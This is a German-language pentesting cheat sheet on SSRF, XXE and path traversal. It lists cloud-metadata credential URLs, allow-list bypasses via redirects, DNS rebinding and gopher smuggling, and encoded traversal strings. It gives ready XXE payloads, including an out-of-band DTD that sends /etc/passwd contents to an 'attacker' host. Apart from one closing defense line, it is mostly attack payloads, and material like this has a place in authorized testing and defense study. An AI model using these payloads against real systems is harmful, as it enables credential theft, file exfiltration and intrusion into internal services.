Injection, SSRF & XXE.

SSRF — Vektor-Inventar

• URL-Parameter. ?url=, ?next=, ?image=, ?callback=, ?webhook=. Alles wo der Server fetcht.
• Webhook-Callback. "Wir POSTen auf deine URL bei Event X" — Angreifer setzt URL auf internes Ziel. Umgeht in vielen Setups Outbound-Allow-Listen.
• Image-/Avatar-Fetch. ?avatar=http://... mit server-seitiger Image-Processing-Pipeline. Returns oft opak, also zuerst blind testen.
• PDF- / HTML-to-PDF-Renderer. <iframe src=//attacker> oder <img src=//attacker> in HTML injizieren, das der Server rendert. Die meisten Renderer fetchen Sub-Resources ohne Sandboxing.
• XML- / SOAP-Body mit URLs. Viele SOAP-Services folgen URLs in WSDL-/SOAP-Envelopes server-seitig.
• Document-Import. "Import aus URL"-Features — DOC, XLSX, ZIP — fetchen URL server-seitig, folgen manchmal Redirects ins Interne.

SSRF — Proof- und Exfil-Techniken

• Cloud-Metadata zuerst. http://169.254.169.254/latest/meta-data/iam/security-credentials/ (AWS), http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=json mit Metadata-Flavor: Google, http://169.254.169.254/metadata/instance?api-version=2021-02-01 mit Metadata: true (Azure).
• Blind via DNS. ?url=http://<random>.attacker.tld/ + auf deinem Authoritative DNS Queries lauschen.
• Blind via HTTP. interactsh- / Burp-Collaborator-URL nutzen. Detektiert Fetch ohne sichtbare Response.
• Internal Port-Scan. Zeitunterschied in Response: connection-refused vs accepted vs timed-out gibt Port-Status.
• Redirect-Chaining. Server validiert URL gegen Allow-List, folgt Redirect: gehostete Angreifer-URL liefert 302 auf http://169.254.169.254. Trivialer Bypass.
• DNS-Rebinding. Angreifer-DNS liefert valide IP beim ersten Lookup (besteht Allow-List), interne IP beim zweiten (aufgelöst beim Fetch). Schlägt Parse-Time-Validierung.
• Protokoll-Smuggling. Wenn Parser gopher:// oder dict:// oder file:// akzeptiert — Redis auf localhost via gopher ist die Klassik-Kette.

XXE

• In-Band-Exfil. <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo> — wenn Response den parsed Body echot, kommen File-Inhalte zurück.
• Out-of-Band. Parameter-Entity-DTD vom Angreifer gehostet, vom Victim-Parser gefetcht, exfiltriert Ziel-File via zweitem HTTP-Request.

  <!DOCTYPE foo [
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % dtd SYSTEM "http://attacker/evil.dtd">
    %dtd;
    %send;
  ]>

  evil.dtd enthält <!ENTITY % send SYSTEM "http://attacker/?x=%file;">.
• Billion-Laughs. Verschachtelte Entity-Expansion → Memory-Erschöpfung. Nur DoS; selten das Deliverable.
• Default-sichere Parser. Modernes libxml2 mit Default-Safe-Settings, Javas DocumentBuilder mit FEATURE_SECURE_PROCESSING. Trotzdem testen — Defaults werden in echten Apps overridden.

Path-Traversal

• Klassisch. ?file=../../../../etc/passwd. Funktioniert noch auf Legacy-Apps und hinter misconfigured Reverse-Proxies, die anders normalisieren als das Backend.
• Encoded. ..%2f, %252e%252e%252f (double-encoded), ..%c0%af (overlong UTF-8). Eines davon rutscht meist durch.
• Path-Normalisierungs-Mismatch. Front-End (nginx) strippt ..-Sequenzen, Backend (uwsgi) macht eigene Auflösung. ..%2f raw senden — Front-End sieht kein Traversal, Backend löst auf.
• Null-Byte-Truncation. Legacy PHP / Java wo ?file=secret.pdf%00.png auf secret.pdf trunciert. Selten aber existiert noch.
• Verteidigung. Auf kanonischen Pfad auflösen (realpath), Ergebnis im erlaubten Verzeichnis verifizieren. Niemals auf Substring-Filtering verlassen.